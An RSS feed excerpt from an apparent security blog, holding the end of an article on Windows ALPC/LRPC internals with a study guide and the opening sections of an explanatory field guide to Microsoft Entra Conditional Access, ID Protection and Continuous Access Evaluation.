The kernel did its job at the port-DACL layer. The application disclaimed responsibility at the interface-callback layer. Almost every Patch-Tuesday LRPC fix since 2018 is some recombination of those two halves, and the half the kernel cannot fix is the half that keeps shipping.
&lt;p&gt;The named-researcher canon for ALPC -- Forshaw, Shafir, csandker, Cerrudo, Cocomazzi, Pierini, Rouault, Imbert, Ormandy, Chappell -- is what this article is an attempt to read in one place.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;alpc-and-lrpc-the-local-ipc-fabric-under-every-windows-service&quot; keyTerms={[
  { term: &quot;ALPC&quot;, definition: &quot;Advanced Local Procedure Call. The Vista-and-later kernel asynchronous message-and-attribute IPC primitive; replaces classic LPC. Microsoft does not publish a developer-facing reference for the kernel surface.&quot; },
  { term: &quot;LRPC&quot;, definition: &quot;The Microsoft RPC runtime&apos;s local-only transport, selected when the protocol sequence is &lt;code&gt;ncalrpc&lt;/code&gt;. Implemented in &lt;code&gt;rpcrt4.dll&lt;/code&gt;; rides on top of ALPC ports.&quot; },
  { term: &quot;LPC&quot;, definition: &quot;Local Procedure Call. The original NT 3.1 kernel IPC primitive, synchronous, three-port; replaced by ALPC in Vista and removed from the kernel by Windows 7.&quot; },
  { term: &quot;Connection port (ALPC)&quot;, definition: &quot;The named ALPC port a server creates so clients can find it. Lives in the Object Manager namespace, typically under &lt;code&gt;\\RPC Control&lt;/code&gt;.&quot; },
  { term: &quot;Communication port (ALPC)&quot;, definition: &quot;The unnamed per-connection ALPC port created by &lt;code&gt;NtAlpcAcceptConnectPort&lt;/code&gt;. Exists only as handles in the connecting and accepting processes; not reachable by name.&quot; },
  { term: &quot;Message attribute&quot;, definition: &quot;An optional in-message kernel service: Context, Handle, Security, or View. Each retires an awkward LPC pattern by moving the work into a single ALPC transaction.&quot; },
  { term: &quot;Interface security callback&quot;, definition: &quot;The application-supplied &lt;code&gt;IfCallbackFn&lt;/code&gt; passed to &lt;code&gt;RpcServerRegisterIf2&lt;/code&gt;/&lt;code&gt;RpcServerRegisterIf3&lt;/code&gt;. The kernel cannot inspect or constrain it. NULL is a legal value and means &apos;no callback&apos;.&quot; },
  { term: &quot;Endpoint mapper&quot;, definition: &quot;The well-known LRPC service at &lt;code&gt;\\RPC Control\\epmapper&lt;/code&gt; that translates an interface UUID into the endpoint name a service is listening on. Hosted by &lt;code&gt;rpcss&lt;/code&gt;.&quot; },
  { term: &quot;NDR / NDR64&quot;, definition: &quot;The (Network) Data Representation transfer syntax that MIDL-generated stubs use to marshal RPC arguments. Local LRPC and remote MSRPC use the same wire format.&quot; },
  { term: &quot;SeImpersonatePrivilege&quot;, definition: &quot;Windows user-right that permits a thread to impersonate another security principal via APIs such as &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt;. The privilege the named-pipe-Potato family abuses.&quot; }
]} questions={[
  { q: &quot;Why does the per-connection ALPC communication port have no Object Manager name?&quot;, a: &quot;So that no third party can address the channel. Only the parties that completed the handshake hold the paired handles; the kernel does not expose the unnamed port through any namespace operation. This is the half of Cerrudo&apos;s 2006 structural class the Vista redesign closed.&quot; },
  { q: &quot;Why can the OS not enforce the correctness of an interface security callback?&quot;, a: &quot;The callback is a function pointer into application code. The kernel cannot symbolically execute the function to determine whether its return value is correct, and even if it could, the kernel does not know what &apos;correct&apos; means for an arbitrary application&apos;s authorization policy. Closing the gap requires either a declarative authorization ABI or a sandbox; Microsoft has not publicly committed to either.&quot; },
  { q: &quot;What distinguishes a DCOM-activation Potato from a named-pipe Potato?&quot;, a: &quot;The impersonation primitive. DCOM-activation Potatoes (RoguePotato, JuicyPotato, RottenPotato) use &lt;code&gt;RpcImpersonateClient&lt;/code&gt; inside an LRPC-on-ALPC dispatch path. Named-pipe Potatoes (PrintSpoofer, EfsPotato, PetitPotam) use &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; on a named pipe. The trigger transport (DCOM, RPRN, EFSR) can be shared; the impersonation primitive is what determines which IPC surface the attack exercises.&quot; },
  { q: &quot;What changed in March 2023 for DCOM-activated services?&quot;, a: &quot;KB5004442 phase 3 enabled the DCOM hardening with no override path. &lt;code&gt;RPC_C_AUTHN_LEVEL_PKT_INTEGRITY&lt;/code&gt; is now a mandatory minimum for DCOM activations, and the previously available registry override is removed. The change closed the JuicyPotato variant at the OS-default configuration.&quot; },
  { q: &quot;Where can a defender see ALPC traffic at the per-message level?&quot;, a: &quot;From the &lt;code&gt;Microsoft-Windows-Kernel-ALPC&lt;/code&gt; system ETW provider, enabled in an &lt;code&gt;EVENT_TRACE_SYSTEM_LOGGER_MODE&lt;/code&gt; session. The provider is high-volume; production SOC pipelines rarely subscribe directly and instead rely on EDR vendors that gate the provider behind antimalware-PPL processes.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-internals</category><category>alpc</category><category>lrpc</category><category>ipc</category><category>privilege-escalation</category><category>rpc</category><category>reverse-engineering</category><category>security</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Who Decided This Token Is Good? A Field Guide to Conditional Access and Entra ID Protection</title><link>https://paragmali.com/blog/who-decided-this-token-is-good-a-field-guide-to-conditional-/</link><guid isPermaLink="true">https://paragmali.com/blog/who-decided-this-token-is-good-a-field-guide-to-conditional-/</guid><description>A wire-level tour of Microsoft Entra Conditional Access, Identity Protection, and Continuous Access Evaluation, plus the five things they cannot do.</description><pubDate>Tue, 26 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Conditional Access is Microsoft&apos;s Zero Trust policy engine, not a feature.** Every interactive sign-in to a licensed Microsoft 365 tenant flows through three planes: a signal plane (Entra ID Protection&apos;s machine-learning risk scoring), a policy plane (Conditional Access&apos;s JSON rule evaluator), and a session plane (Continuous Access Evaluation&apos;s event-driven revocation channel). This article assembles the wire format of all three -- the `riskDetection` resource on Microsoft Graph, the `conditionalAccessPolicy` schema, the `cp1` client capability that opts a client into 28-hour tokens, and the `401 + insufficient_claims` claims challenge -- into one end-to-end picture, then names the five things this architecture fundamentally cannot do.
&lt;h2&gt;1. Who decided this token is good?&lt;/h2&gt;
&lt;p&gt;It is 09:02 on a Tuesday in Lisbon. Alice opens Outlook on a managed laptop in a hotel and the reading pane populates with mail in under a second. She did not type a password. She did not approve a push. She did not touch a hardware key.&lt;/p&gt;
&lt;p&gt;Who decided that was fine?&lt;/p&gt;
&lt;p&gt;The question is harder than it looks. Alice&apos;s password lives in a token cache from yesterday&apos;s sign-in at the office. Outlook&apos;s client silently acquires a fresh access token from Entra. That request may match a Conditional Access policy. The policy may consult an Identity Protection risk score. The result is either an access token or a refusal. Exchange Online receives the token, validates it, and may yet revoke it mid-session because something changed in the last sixty seconds. Bytes return to Alice.&lt;/p&gt;

Microsoft Entra ID&apos;s policy engine for evaluating sign-in attempts. A Conditional Access policy is a JSON object that matches a set of users, cloud apps, and conditions (network location, device state, sign-in risk, user risk, client app, platform) against a set of grants (block, require MFA, require compliant device, require Authentication Strength, and so on). Policies are evaluated after first-factor authentication; a block grant in any matching policy overrides all allow grants [@ms-ca-overview].

The machine-learning signal plane that scores sign-ins and users for risk. ID Protection emits `riskDetection` events tagged with `riskEventType` (anonymized IP, leaked credentials, password spray, atypical travel, and roughly two dozen others), `riskLevel` (low, medium, high), `riskState`, and `detectionTimingType` (realtime, nearRealtime, or offline). Available only on Microsoft Entra ID P2 [@ms-id-protection-overview].

The session plane. CAE is an event-driven channel between Microsoft Entra and CAE-aware resource APIs (Exchange Online, SharePoint Online, Teams, Microsoft Graph). When a critical event fires -- account disabled, password reset, high user risk, network location change -- the resource API returns `HTTP 401` with a `WWW-Authenticate: Bearer error=&quot;insufficient_claims&quot;` challenge. The client replays the embedded claims to Entra and acquires a fresh token. In exchange for this channel, CAE tokens live up to 28 hours [@ms-cae-concept].
&lt;p&gt;Every component in this chain is individually documented on Microsoft Learn. The Conditional Access policy schema is on the Graph reference [@ms-graph-capolicy]. The &lt;code&gt;riskDetection&lt;/code&gt; resource is on the Graph reference too [@ms-graph-riskdetection]. The &lt;code&gt;cp1&lt;/code&gt; client capability is in the claims-challenge document [@ms-claims-challenge]. The &quot;up to 15 minutes&quot; propagation ceiling for CAE non-IP events is in the CAE concept document [@ms-cae-concept].&lt;/p&gt;
&lt;p&gt;But the chain is not assembled anywhere. That is what this article does.&lt;/p&gt;
&lt;p&gt;This article is for the architect or the detection engineer who already knows what a JWT is, what a service principal is, and what an MDM does. If you have ever stared at a Sign-in log entry that reads &quot;Conditional Access: Success&quot; and wondered what &lt;em&gt;exactly&lt;/em&gt; the policy engine concluded, this is for you.&lt;/p&gt;
&lt;p&gt;Three moments of insight are coming. First, why MFA without context fails not because MFA is weak but because the &lt;em&gt;unit&lt;/em&gt; is wrong (Section 3). Second, why the architectural breakthrough was a &lt;em&gt;separation&lt;/em&gt; and not a new algorithm (Section 5). Third, why the system has limits that no engineering will fix (Section 8).&lt;/p&gt;
&lt;p&gt;How did the industry end up with a token-issuance and claims-challenge model? The answer begins in 1975, with a paper that did not mention identity once.&lt;/p&gt;
&lt;h2&gt;2. From perimeter to identity boundary&lt;/h2&gt;
&lt;p&gt;In September 1975, Jerome Saltzer and Michael Schroeder published an eight-principle paper on operating-system protection that nobody at MIT thought of as a paper about cloud identity [@saltzer-schroeder-1975]. Half a century later, two of those eight -- &lt;em&gt;complete mediation&lt;/em&gt; and &lt;em&gt;least privilege&lt;/em&gt; -- are the implicit theorems every Conditional Access policy evaluates against. Where did the industry go in between?&lt;/p&gt;
&lt;h3&gt;Saltzer and Schroeder: the unstated theorems&lt;/h3&gt;
&lt;p&gt;Complete mediation says &quot;every access to every object must be checked for authority.&quot; Least privilege says &quot;every program and every user of the system should operate using the least set of privileges necessary to complete the job.&quot; These are stated as design &lt;em&gt;principles&lt;/em&gt;, not theorems. But they function as theorems for anyone building an access-control system: violate either of them and you have, by construction, a vulnerability. Conditional Access does not derive the principles. It re-states them as a JSON schema and a runtime evaluator.&lt;/p&gt;
&lt;h3&gt;Jericho Forum: the perimeter dissolves&lt;/h3&gt;
&lt;p&gt;In 2003, David Lacey of the Royal Mail and a loose affiliation of corporate CISOs began arguing, against the prevailing castle-and-moat consensus, that the corporate network perimeter could no longer be relied on as the trust boundary. The Jericho Forum formally launched under the Open Group umbrella in January 2004 [@wikipedia-jericho-forum]. They coined the term &quot;de-perimeterisation&quot; to describe what their member firms were already living: data and identity travelling outside the firewall faster than the firewall could be moved.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s own retrospective puts the quote precisely: the Jericho Forum &quot;promoted a new concept of security called de-perimeterisation that focused on how to protect enterprise data flowing in and out of your enterprise network boundary instead of striving to convince users and the business to keep it on the corporate network&quot; [@simos-2020-jericho]. The first sentence of Microsoft Learn&apos;s CA overview today is a direct descendant: &quot;modern security extends beyond an organization&apos;s network perimeter&quot; [@ms-ca-overview].&lt;/p&gt;
&lt;h3&gt;Kindervag: the name&lt;/h3&gt;
&lt;p&gt;John Kindervag, then a principal analyst at Forrester Research, gave the model its marketable name in a September 2010 report titled &quot;No More Chewy Centers: Introducing the Zero Trust Model of Information Security&quot; [@kindervag-2010-zero-trust]. Three tenets: all resources are accessed securely regardless of location; access control is on strict need-to-know and strictly enforced; all traffic is inspected and logged.&lt;/p&gt;
&lt;p&gt;The label stuck. Microsoft Learn now calls CA &quot;Microsoft&apos;s Zero Trust policy engine&quot; in its first sentence [@ms-ca-overview]. The lineage from Kindervag&apos;s 14-page Forrester report to that sentence is direct.&lt;/p&gt;
&lt;p&gt;The original Kindervag PDF is gated behind Forrester&apos;s paywall. The widely cited copy on &lt;code&gt;ndm.net&lt;/code&gt; redirects to an unrelated managed-IT-services company; the only reliably accessible mirror is the Wayback Machine snapshot. Treat the lineage as well documented and the URL as a curiosity of how academic ideas survive the open web.&lt;/p&gt;
&lt;h3&gt;BeyondCorp: the alternative&lt;/h3&gt;
&lt;p&gt;In December 2014, Rory Ward and Betsy Beyer published &quot;BeyondCorp: A New Approach to Enterprise Security&quot; in USENIX &lt;code&gt;;login:&lt;/code&gt; [@ward-beyer-2014-beyondcorp]. The paper described Google&apos;s internal Zero Trust deployment: every request authenticated and authorized by an access proxy, no implicit network trust, device inventory and user identity as the inputs to access decisions. A follow-up in 2016 documented the production rollout [@osborn-2016-beyondcorp].&lt;/p&gt;
&lt;p&gt;This is the architectural fork Section 7 returns to. BeyondCorp puts the policy engine in the data path, as a reverse proxy that sees every HTTP request. CA puts the policy engine at &lt;em&gt;token issuance&lt;/em&gt; and re-evaluates via &lt;em&gt;claims challenges&lt;/em&gt;. Both work. They are not interchangeable.&lt;/p&gt;
&lt;h3&gt;NIST SP 800-207: the vocabulary&lt;/h3&gt;
&lt;p&gt;In August 2020, NIST published Special Publication 800-207, &lt;em&gt;Zero Trust Architecture&lt;/em&gt; [@nist-sp-800-207-2020]. It codified the U.S. federal reference architecture: a Policy Engine that decides, a Policy Administrator that effects the decision, and a Policy Enforcement Point that intercepts the access.&lt;/p&gt;
&lt;p&gt;That trio is the vocabulary the Microsoft Learn CA documentation now uses. In the SP 800-207 mapping, Conditional Access is the Policy Engine and Policy Administrator; Exchange Online, SharePoint Online, Teams, and Microsoft Graph are the Policy Enforcement Points; Entra ID Protection is the trust algorithm that feeds the Policy Engine.&lt;/p&gt;

If you ever have to map Conditional Access to SP 800-207 for a compliance review, the cleanest correspondences are: PE = the CA evaluator inside Entra; PA = Entra&apos;s token issuer (because the decision is effected by issuing or refusing a token); PEP = the resource API (Exchange, SharePoint, Graph) that validates the token, plus, for CAE-aware resources, the same API enforcing claims-challenge revocation mid-session. ID Protection is the &quot;trust algorithm&quot; input to the PE.
&lt;p&gt;The doctrine was settled by 2020. But Microsoft had already been trying to build a perimeter on identity for six years, starting in 2014 with a much smaller idea.&lt;/p&gt;
&lt;h2&gt;3. Per-user MFA and the limits of binary controls&lt;/h2&gt;
&lt;p&gt;In 2014, Microsoft&apos;s only cloud-era access control was a per-user toggle that said &lt;em&gt;MFA: yes&lt;/em&gt; or &lt;em&gt;MFA: no&lt;/em&gt;. The toggle worked. It was a real improvement over passwords alone. It also produced the most exploited security failure of the next decade: MFA fatigue [@weinert-2023-managed-policies].&lt;/p&gt;
&lt;p&gt;How does a control improve security &lt;em&gt;and&lt;/em&gt; create a new attack class at the same time?&lt;/p&gt;
&lt;h3&gt;The per-user MFA state machine&lt;/h3&gt;
&lt;p&gt;Per-user MFA lives on the user object as a tri-state: &lt;code&gt;Disabled&lt;/code&gt;, &lt;code&gt;Enabled&lt;/code&gt;, or &lt;code&gt;Enforced&lt;/code&gt;. Microsoft Learn now says the quiet part out loud: &quot;The best way to protect users with Microsoft Entra MFA is to create a Conditional Access policy&quot; and &quot;Don&apos;t enable or enforce per-user Microsoft Entra multifactor authentication if you use Conditional Access policies&quot; [@ms-howto-mfa-userstates]. That guidance carries a generation of operational pain inside it. Mixing the two surfaces, in practice, produces unpredictable prompts: a CA policy says &quot;no MFA required for this location,&quot; the per-user state says &quot;always MFA,&quot; and the user gets prompted twice.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Microsoft&apos;s explicit guidance is to pick one surface. If you have Entra ID P1 or higher, use Conditional Access. The per-user state should remain &lt;code&gt;Disabled&lt;/code&gt; for those accounts. Mixed configurations produce both false-positive prompts and, occasionally, false-negative skips [@ms-howto-mfa-userstates].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Trusted IP rules: one-dimensional context&lt;/h3&gt;
&lt;p&gt;Office 365 added a second knob in the same era: &quot;trusted IPs.&quot; Sign-ins from a configured public IP range would skip the MFA challenge [@ms-ca-network]. The idea was that &quot;on the corporate network&quot; meant &quot;more trustworthy.&quot; This was reasonable in 2014. By 2017, it was already eroded by full-tunnel VPNs (every employee egresses through the corporate /16 from home), split-tunnel VPNs (some traffic does, some does not), and the realisation that &quot;corporate network&quot; had stopped being a useful synonym for &quot;trusted.&quot; Trusted IP is one-dimensional context, and one dimension was not enough.&lt;/p&gt;
&lt;h3&gt;Security Defaults: the Free-SKU descendant&lt;/h3&gt;
&lt;p&gt;Since 22 October 2019, every new Entra ID tenant has Security Defaults turned on by default at creation [@ms-security-defaults]. Security Defaults is a tenant-wide on/off switch that requires MFA for all admin roles, MFA for users when they show risk, blocks legacy authentication, and forces MFA registration. Microsoft&apos;s number on the impact is striking: &quot;more than 99.9% of those common identity-related attacks are stopped by using multifactor authentication and blocking legacy authentication&quot; [@ms-security-defaults].&lt;/p&gt;
&lt;p&gt;For Entra ID Free tenants in 2026, Security Defaults is still the only available baseline. There is no per-app policy, no per-risk gating, no Conditional Access. This is the licensing reality Section 10 returns to.&lt;/p&gt;
&lt;p&gt;Active Directory Federation Services -- AD FS -- is the on-prem federation product that ran the access-control story before any of this. It is still operational in many tenants. It is no longer Microsoft&apos;s strategic identity provider; the Microsoft Learn AD FS overview now opens with the explicit guidance &quot;Instead of upgrading to the latest version of AD FS, Microsoft highly recommends migrating to Microsoft Entra ID&quot; [@ms-ad-fs-overview]. AD FS claim rules functioned as a kind of policy engine, but they evaluated only at federation time and they had no concept of risk.&lt;/p&gt;
&lt;h3&gt;The four failure modes of the binary toggle&lt;/h3&gt;
&lt;p&gt;The first-generation controls -- per-user MFA, trusted IPs, Security Defaults -- share four documented limits:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;No expression of context.&lt;/strong&gt; The toggle is either on or off. It cannot say &quot;MFA from a new country but not from the office.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trusted IP is thin context.&lt;/strong&gt; A public IP range is one bit of information; modern attacks include matching network egress.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No per-app policy.&lt;/strong&gt; The toggle applies to all apps the user accesses. You cannot say &quot;MFA for the admin portal, not for Outlook.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No exclusion semantics for break-glass accounts.&lt;/strong&gt; Emergency-access accounts need to be reachable when everything else has failed. The binary toggle either includes them or excludes them; it does not let you say &quot;exclude these accounts but log every sign-in as a high-priority alert.&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;MFA fatigue: when a control becomes a credential&lt;/h3&gt;
&lt;p&gt;The canonical failure of the binary toggle is push-bombing. The attacker has the password. The system requires MFA. The user gets four &quot;approve sign-in?&quot; notifications during a morning meeting. One gets a thumbs-up by reflex. The system did exactly what it was configured to do.&lt;/p&gt;
&lt;p&gt;The attack works because the control has no concept of &lt;em&gt;whether this is a normal sign-in&lt;/em&gt;. The same flow runs whether the request originates from the user&apos;s office WiFi or an anonymizing proxy in another country. The MFA challenge carries no risk-weighted information; the user has no signal that this prompt is different from yesterday&apos;s prompt. Fatigue is the consequence. Microsoft&apos;s own Entra blog catalogued the attack pattern and the operational mitigations in the wake of the 2022 incident cluster [@ms-techcom-mfa-fatigue].&lt;/p&gt;

Focusing on password rules, rather than things that can really help -- like multi-factor authentication (MFA), or great threat detection -- is just a distraction. -- Alex Weinert, Microsoft Identity, July 2019 [@weinert-2019-password]
&lt;p&gt;Weinert&apos;s 2019 piece is now infamous in the identity community for its title alone -- &quot;Your Pa$$word doesn&apos;t matter.&quot; The argument was that a password&apos;s composition rules carry no information that helps the system tell a real user from an attacker; what does carry information is &lt;em&gt;context&lt;/em&gt;. The system needed a place to put that context.&lt;/p&gt;
&lt;p&gt;If &lt;em&gt;MFA yes/no&lt;/em&gt; cannot express context, the next step is obvious: make context the input. But to make context the input, the system needs a place to &lt;em&gt;put&lt;/em&gt; it. The history of CA from 2015 forward is the history of giving context a home.&lt;/p&gt;
&lt;h2&gt;4. Generation by generation&lt;/h2&gt;
&lt;p&gt;The next eight years produced six generations of access control, each one closing a specific failure of the previous one. They look like product launches in a marketing chronology. They are something more interesting: a sequence of negative results, each followed by a positive engineering response.&lt;/p&gt;

timeline
    title Conditional Access timeline
    2014 : Gen 1 per-user MFA and trusted IPs
    2015 : CA enters public preview
    2016 : Gen 2 Conditional Access general availability
    2016 : ID Protection enters preview
    2018 : Gen 3 risk-based CA conditions broadly available
    2020 : CAE enters preview
    2022 : Gen 4 Continuous Access Evaluation general availability
    2023 : Gen 5 CA for workload identities
    2023 : Gen 6 Microsoft-managed policies and Authentication Strengths
    2026 : CA for AI agent identities
&lt;p&gt;The 2026 milestone -- Conditional Access for AI agent identities -- is itself still emerging; Microsoft&apos;s current framing in the Conditional Access Optimization Agent announcement names it explicitly as a frontier rather than a finished generation [@ms-techcom-ca-optimization-agent]. Section 9.1 returns to the open problems.&lt;/p&gt;
&lt;h3&gt;Gen 1 (2014 to 2016): per-user MFA&lt;/h3&gt;
&lt;p&gt;Documented in Section 3. The control has no concept of context. The failure motivates Gen 2.&lt;/p&gt;
&lt;h3&gt;Gen 2 (September 2016 GA): Conditional Access with static rules&lt;/h3&gt;
&lt;p&gt;The September 27, 2016 CloudBlogs post announcing CA general availability framed it as &quot;Protect your data at the front door&quot; -- the &quot;front door&quot; framing that Microsoft documentation still uses [@ms-techcom-ca-frontdoor-2016]. The policy schema (users + cloud apps + conditions to grants) was introduced in the 2015 preview [@ms-techcom-ca-preview-2015] and survived essentially unchanged into 2016 GA.&lt;/p&gt;
&lt;p&gt;Gen 2 closed Gen 1&apos;s failure mode: context now had a home. A policy could match on network location, on the app being accessed, on the user&apos;s group membership, on the device platform. It could express &quot;block country X&quot; or &quot;require MFA when not on the corporate network.&quot;&lt;/p&gt;
&lt;p&gt;The remaining documented limit: no risk feed. The engine could express &lt;em&gt;what to check for&lt;/em&gt; but not &lt;em&gt;whether this specific sign-in looks suspicious&lt;/em&gt;. A policy could block credential-stuffing attempts only if you happened to know in advance which IPs to deny. Motivated Gen 3.&lt;/p&gt;
&lt;h3&gt;Gen 3 (2017 to 2018): risk-based fusion&lt;/h3&gt;
&lt;p&gt;Identity Protection had been generating risk signals since its March 2016 preview. Through 2017 and 2018, two new condition keys appeared in the CA policy schema: &lt;code&gt;signInRiskLevels&lt;/code&gt; and &lt;code&gt;userRiskLevels&lt;/code&gt;. Both take values from the set &lt;code&gt;low&lt;/code&gt;, &lt;code&gt;medium&lt;/code&gt;, &lt;code&gt;high&lt;/code&gt;. The risk feed plugged into the policy plane through exactly two keys. The legacy ID-Protection-side risk policies (which were a parallel policy surface inside ID Protection itself) are now retiring on 1 October 2026; the canonical surface is CA [@ms-id-protection-policies].&lt;/p&gt;
&lt;p&gt;The remaining limit: pre-issuance only. The CA evaluator runs at sign-in time. Once a token is issued, the policy plane has no way to undo the decision until the token expires. Microsoft&apos;s own retrospective is honest about what they tried first: &quot;Microsoft experimented with the &apos;blunt object&apos; approach of reduced token lifetimes but found they degrade user experiences and reliability without eliminating risks&quot; [@ms-cae-concept]. A one-hour token cuts the worst-case revocation latency to an hour, but it also means a user with intermittent connectivity gets prompted every hour, and a mobile app with retry storms can hammer the IdP. The trade-off was unacceptable. Motivated Gen 4.&lt;/p&gt;
&lt;h3&gt;Gen 4 (January 2022 GA): Continuous Access Evaluation&lt;/h3&gt;
&lt;p&gt;CAE inverted the trade-off. Instead of shortening the token, lengthen it -- up to 28 hours [@ms-cae-concept]. Then add a side channel: when a critical event fires (account disabled, password reset, high user risk, IP location change), the resource API issues an &lt;code&gt;HTTP 401&lt;/code&gt; with a &lt;code&gt;WWW-Authenticate&lt;/code&gt; claims challenge, and the client replays to Entra for a fresh token. Latency on the side channel is bounded: &quot;up to 15 minutes&quot; for non-IP events, &quot;instant&quot; for IP locations [@ms-cae-concept]. CAE was tied to an emerging open standard from day one, the OpenID Continuous Access Evaluation Profile [@ms-cae-concept]. The general-availability announcement landed on 10 January 2022 [@ms-techcom-cae-ga-2022].&lt;/p&gt;
&lt;p&gt;Remaining limit: applies to humans only. Service principals do not consume CAE-aware client libraries; they cannot perform a claims challenge. Motivated Gen 5.&lt;/p&gt;
&lt;h3&gt;Gen 5 (2023 GA): Conditional Access for workload identities&lt;/h3&gt;
&lt;p&gt;Same engine, constrained grant set. The Microsoft Learn page is blunt on the boundaries: &quot;Workload Identities Premium licenses are required&quot; and the constraint set is unusual -- &quot;Policy can be applied to single tenant service principals that are registered in your tenant. Microsoft and third-party SaaS applications, including multitenant apps, are not covered by these policies. Managed identities aren&apos;t covered by policy&quot; and &quot;Under Grant, Block access is the only available option&quot; [@ms-workload-identity-ca]. The public preview of CA filters for workload identities opened on 26 October 2022 [@vansurksum-2022-workload-ca]; the Microsoft Entra Workload Identities standalone product followed in late November 2022, and the Conditional Access feature for workload identities itself reached general availability later in 2023.&lt;/p&gt;
&lt;p&gt;The single-tenant restriction is a structural choice. Multi-tenant SaaS apps appear in many tenants&apos; service principal directories at once; policy scoping on them would require a cross-tenant resolution protocol the engine does not have. Managed identities are excluded because they belong to Azure subscriptions, not to user identity, and Microsoft has chosen not to extend the surface there. Group assignments do not work either: &quot;Conditional Access policies assigned to a group that contains a service principal are not enforced for that service principal&quot; [@ms-workload-identity-ca].&lt;/p&gt;
&lt;p&gt;Remaining limit: under-configured in most tenants because the grant taxonomy is so narrow that admins do not see immediate value. Motivated Gen 6.&lt;/p&gt;
&lt;h3&gt;Gen 6 (November 2023 onwards): Microsoft-managed policies and Authentication Strengths&lt;/h3&gt;
&lt;p&gt;In November 2023, Alex Weinert announced Microsoft-managed Conditional Access policies: a set of baselines that Microsoft would auto-deploy into tenants in Report-only mode and then auto-enable after a waiting period [@weinert-2023-managed-policies]. The launch announcement specified a 90-day window [@helpnet-2023-microsoft-entra-policies]. The current Microsoft Learn documentation specifies &quot;Microsoft enables these policies no less than 45 days after they&apos;re introduced in your tenant if they&apos;re left in the Report-only state&quot; with a 28-day pre-enablement notification [@ms-managed-policies].&lt;/p&gt;
&lt;p&gt;The window shrank deliberately. The 90-day window in the 2023 launch announcement was a calibration window; the 45-day window in current documentation is the post-calibration setting. Both numbers are correct in their respective time frames. The article uses the current number throughout.&lt;/p&gt;
&lt;p&gt;Parallel to the managed policies, Microsoft shipped &lt;em&gt;Authentication Strengths&lt;/em&gt; -- a named bundle of acceptable authentication methods that can be required as a grant. The three built-in strengths are &lt;em&gt;MFA strength&lt;/em&gt;, &lt;em&gt;Passwordless MFA strength&lt;/em&gt;, and &lt;em&gt;Phishing-resistant MFA strength&lt;/em&gt; (FIDO2 security key, &lt;a href=&quot;https://paragmali.com/blog/your-face-is-not-your-password-inside-windows-hellos-hardwar/&quot; rel=&quot;noopener&quot;&gt;Windows Hello for Business&lt;/a&gt;, multifactor certificate-based authentication) [@ms-auth-strengths]. The phishing-resistant strength is the modern way to express &quot;no adversary-in-the-middle phishing kit should be able to defeat this grant.&quot;&lt;/p&gt;
&lt;h3&gt;The pattern: extension, not replacement&lt;/h3&gt;
&lt;p&gt;From Gen 3 onward, each generation &lt;em&gt;extends&lt;/em&gt; the prior schema rather than replacing it. The &lt;code&gt;conditionalAccessPolicy&lt;/code&gt; JSON shape that shipped in 2016 still drives the engine in 2026 -- with new condition keys added, new grant types added, new session controls added. By the standards of cloud control surfaces, that is a long run without a rewrite.&lt;/p&gt;
&lt;p&gt;The reason is the architectural decision the next section is about.&lt;/p&gt;
&lt;h2&gt;5. The two-plane separation&lt;/h2&gt;
&lt;p&gt;The breakthrough is not a model, not a token format, not a wire protocol. It is a &lt;em&gt;separation&lt;/em&gt;: the &lt;strong&gt;signal plane&lt;/strong&gt; that produces risk detections from the &lt;strong&gt;policy plane&lt;/strong&gt; that consumes them.&lt;/p&gt;
&lt;p&gt;Stated like that, it sounds banal. Read it the other direction -- a policy engine whose risk model can change without changing the policy semantics, and whose policy can change without retraining the model -- and it is the design that makes the system maintainable at trillions of daily signals across hundreds of thousands of tenants.&lt;/p&gt;
&lt;h3&gt;The two planes, precisely&lt;/h3&gt;
&lt;p&gt;The signal plane is Microsoft Entra ID Protection. It runs detection logic on every interactive sign-in (and, for offline detections, on historical sign-ins) and emits a &lt;code&gt;riskDetection&lt;/code&gt; resource into a per-tenant log on Microsoft Graph at &lt;code&gt;/identityProtection/riskDetections&lt;/code&gt;. Each detection carries five fields you care about: &lt;code&gt;riskEventType&lt;/code&gt; (one of about two dozen named detection types like &lt;code&gt;anonymizedIPAddress&lt;/code&gt;, &lt;code&gt;leakedCredentials&lt;/code&gt;, &lt;code&gt;unlikelyTravel&lt;/code&gt;), &lt;code&gt;riskLevel&lt;/code&gt; (&lt;code&gt;low&lt;/code&gt;, &lt;code&gt;medium&lt;/code&gt;, &lt;code&gt;high&lt;/code&gt;, plus the bookkeeping values &lt;code&gt;hidden&lt;/code&gt; and &lt;code&gt;none&lt;/code&gt;), &lt;code&gt;riskState&lt;/code&gt; (&lt;code&gt;atRisk&lt;/code&gt;, &lt;code&gt;confirmedCompromised&lt;/code&gt;, &lt;code&gt;dismissed&lt;/code&gt;, &lt;code&gt;remediated&lt;/code&gt;), &lt;code&gt;detectionTimingType&lt;/code&gt; (&lt;code&gt;realtime&lt;/code&gt;, &lt;code&gt;nearRealtime&lt;/code&gt;, &lt;code&gt;offline&lt;/code&gt;), and &lt;code&gt;additionalInfo&lt;/code&gt; (a JSON blob with user-agent, IP, alert URL, reason codes) [@ms-graph-riskdetection][@ms-id-protection-risks].&lt;/p&gt;
